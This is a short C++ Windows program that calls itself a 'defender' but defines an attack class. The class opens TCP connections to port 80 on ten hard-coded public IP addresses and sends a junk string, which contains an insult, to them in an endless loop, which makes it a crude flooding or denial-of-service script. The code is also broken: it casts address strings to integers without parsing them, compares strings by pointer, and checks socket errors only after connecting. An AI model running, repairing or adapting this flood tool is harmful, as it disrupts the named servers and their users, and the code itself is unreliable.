封装一下防御器

///////////////////////////////////////////////////////////
using namespace std;

#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>

////////////////////////////////////////////////////////////


class CAtk
{
public:
    WSADATA wsd;
    list<SOCKET> m_socket;

    int retVal;//调用Socket函数的返回值
    char buf[200];



    CAtk() {};
    ~CAtk() {};

    void Init()
    {
        //初始化Socket环境
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
            printf("WSAStartup failed!\n");
        }

        sprintf_s(buf, "鸟人猪守屎&烫烫&很甜懒子很园 4/0/7 ; *0.0000001f;  ;0* ;int 3; & Math_PI;");



        inster_List("104.21.42.44"); 
        
        inster_List("103.178.56.133");

        inster_List("38.12.18.7");

        inster_List("150.129.82.170");   
        
        inster_List("45.10.175.201");
        inster_List("139.224.133.126");
        inster_List("103.178.56.133");

        inster_List("58.217.250.18");

        inster_List("47.104.139.74");

        inster_List("154.29.148.11");
    };


    void inster_List(const char* IP)
    {
        if (IP == "")
        {
            return;
        }

        SOCKADDR_IN ins;
        ins.sin_addr.S_un.S_addr = (ULONG)IP;
        ins.sin_family = AF_INET;
        ins.sin_port = htons(80);

        SOCKET soc;
        soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

        if (INVALID_SOCKET == soc)
        {
            printf("socket failed!\n");
            return;
        }

        m_socket.push_back(soc);

    };


    void loopSend()
    {
        list<SOCKET>::iterator it = m_socket.begin();

    AS:
        if (it == m_socket.end())
        {
            it = m_socket.begin();
        }

        send(*it, buf, 200, 0);

        it++;

        goto AS;


    };
};


CAtk g_atk;

int main()
{
    g_atk.Init();

    //循环发送阻塞数据
    g_atk.loopSend();

    return 0;
};